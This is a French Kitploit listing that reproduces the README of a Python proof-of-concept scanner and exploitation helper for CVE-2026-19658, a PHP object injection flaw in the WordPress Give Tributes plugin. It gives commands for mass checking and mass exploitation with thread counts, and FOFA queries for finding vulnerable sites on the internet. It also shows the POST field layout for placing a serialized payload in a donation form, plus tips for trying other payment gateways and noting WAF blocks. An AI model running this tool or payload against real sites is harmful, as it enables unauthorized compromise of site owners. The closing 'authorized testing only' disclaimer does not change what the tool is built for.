Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-19658 — Vérificateur Python 3 et assistant d'exploitation pour CVE-2026-19658, une faille d'injection d'objet PHP dans le plugin WordPress Give Tributes, avec découverte de cibles via FOFA et exploitation des formulaires de don hérités. | Kitploit
Outils/GitHubGitHub/murrez/cve-2026-19658
ReconnaissanceScanners de VulnérabilitésAnalyse des VulnérabilitésExploitationScripting et AutomatisationExploitation d'Applications WebCollecte d'InformationsSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
16il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
murrez/cve-2026-19658

CVE-2026-19658

Vérificateur Python 3 et assistant d'exploitation pour CVE-2026-19658, une faille d'injection d'objet PHP dans le plugin WordPress Give Tributes, avec découverte de cibles via FOFA et exploitation des formulaires de don hérités.

Voir le dépôt
Partager

CVE-2026-19658 — Give Tributes Injection d'objet PHP non authentifiée

Python 3 proof-of-concept scanner et assistant d'exploitation de chaîne de dons pour CVE-2026-19658 dans l'add-on WordPress Give - Tributes (Liquid Web / GiveWP).

PlateformePlugin WordPress (nécessite le cœur GiveWP)
ComposantGive - Tributes
Affecté≤ 2.3.1
Corrigé dans2.3.1.1+ (champs eCard multi-destinataires assainis)
CVSS9.8 Critique
AuthNon authentifiée (formulaire de don hérité)
CWECWE-502 — Désérialisation de données non fiables
AssigneurWordfence

Résumé

Lorsque Allow Multiple Recipients est activé pour les eCards et que eCard custom message est désactivé (par défaut), les versions vulnérables stockent les données de destinataires eCard brutes de $_POST dans les métadonnées de don. La validation des champs GiveWP utilise une copie give_clean() de $_POST (les chaînes sérialisées y sont vidées), mais insert_tribute_data() lit $_POST non assaini, de sorte que le first_name / last_name d'un second destinataire peut contenir un objet sérialisé PHP.

Impact : Aucune chaîne POP connue au sein de Give Tributes seul. Les métadonnées sont désérialisées lors de leur lecture (par ex. aperçu/renvoi d'eCard par l'admin). Un RCE ou un impact destructif nécessite une chaîne de gadgets provenant d'un autre plugin ou thème installé.

Prérequis côté serveur

  1. Give Tributes ≤ 2.3.1
  2. Allow Multiple Recipients activé (global ou par formulaire)
  3. eCard Custom Message désactivé (par défaut)
  4. Formulaire Give hérité public ([give_form] / v2), pas le Visual Form Builder v3 uniquement
  5. Une passerelle de paiement capable de finaliser un don dans votre test (souvent manual en dev/staging)

Prérequis

  • Python 3.8+
  • pip install -r requirements.txt

Démarrage rapide

root@kitploit:~
pip install -r requirements.txt

# Cible unique — vérification (flux terminal activé par défaut pour --list)
python poc.py -u https://target.example --mode check

# Vérification en masse
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Cible unique — exploitation (cibles autorisées uniquement)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Exploitation en masse depuis la sortie de vérification
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → liste de cibles

Exemples :

root@kitploit:~
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

Liste d'hôtes (un domaine par ligne) :

root@kitploit:~
python poc.py --list my_hosts.txt --mode check --threads 20 --flow

Export CSV FOFA :

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

Options CLI

OptionDescription
-u, --urlURL de base unique
--listListe d'URL, fichier d'hôtes, ou candidates.jsonl
--modecheck ou exploit
--form-urlChemin de la page de don ou URL complète
--form-idID de post du formulaire Give
--pathsChemins supplémentaires à parcourir pour les formulaires
--payloadObjet sérialisé pour le first_name du 2e destinataire
--gatewaypayment-mode de Give (par défaut manual)
--emailgive_email du donateur
--flowUne ligne par cible lors des exécutions en masse (par défaut avec --list)
--no-flowRésumé de progression uniquement
--quiet, -qSortie console minimale
--threads, -jConcurrence en masse (par défaut 12)
--outputJournal JSONL (par défaut cve_2026_19658_results.jsonl)
--vuln-listLignes de hits/exploitées en texte (par défaut hits.txt)
--candidates-listMétadonnées JSONL de vérification (par défaut candidates.jsonl)

Utilisez --vuln-list exploited.txt lors des exécutions d'exploitation afin que les hits de vérification dans hits.txt ne soient pas écrasés.

Fichiers de sortie

FichierModeContenu
cve_2026_19658_results.jsonlles deuxJSON complet par cible
hits.txtcheckURLs avec exploitable_candidate
candidates.jsonlcheckbest_form, indices de version
exploited.txtexploiturl|payment=… lorsque le don est confirmé

Valeurs de status de vérification

StatutSignification
candidatePlugin vulnérable + Give + formulaire hérité avec UI tributes
vulnerable_no_formPlugin/version OK, aucun formulaire approprié trouvé sur les chemins parcourus
patchedTributes > 2.3.1 ou ≥ 2.3.1.1 (lorsque la version est lisible)
give_onlyGive sans Tributes détectable
no_pluginTributes non détecté

Le scan distant ne peut pas voir de manière fiable « Allow Multiple Recipients » ; les candidats peuvent encore échouer au moment de l'exploitation.

Notes d'exploitation

  • Le PoC envoie deux destinataires eCard ; le payload est le second champ first_name.
  • La passerelle manual est souvent désactivée en production — essayez les passerelles visibles sur le formulaire (stripe, paypal, test, …).
  • Le succès nécessite les marqueurs de reçu Give (pas une copie de page générique contenant « thank you »). La même URL avec le formulaire toujours présent n'est pas comptée comme un succès.
  • give validation rejected donation : options tribute/notify, montant, ou passerelle incompatible.
  • HTTP 403 : WAF (Sucuri, MalCare, etc.) bloquant le POST.
  • Formulaires v3 uniquement : utilisez l'URL du formulaire hérité ou passez (le processeur rejette les IDs v3 sur l'endpoint hérité).

Forme du POST (formulaire hérité)

root@kitploit:~
give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

Arborescence du dépôt

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Les listes de scan locales et les artefacts d'exécution (list.txt, fofa*.csv, *.jsonl, hits.txt, …) sont dans .gitignore et ne doivent pas être commités.

Références

  • NVD — CVE-2026-19658
  • Give Tributes readme (note de correction 2.3.1.1)
  • Plugin GiveWP

Légal

Pour les tests de sécurité autorisés et l'éducation uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.

Télécharger l’outil